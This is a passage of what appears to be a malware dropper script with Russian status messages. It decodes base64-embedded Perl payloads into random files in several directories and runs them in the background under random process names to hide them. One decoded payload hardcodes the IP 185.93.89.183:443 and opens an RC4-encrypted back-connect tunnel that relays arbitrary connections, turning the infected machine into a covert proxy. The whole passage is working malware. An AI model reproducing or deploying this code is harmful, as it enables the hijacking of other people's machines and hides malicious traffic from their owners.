LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #59 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #59 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 60 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xODMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z 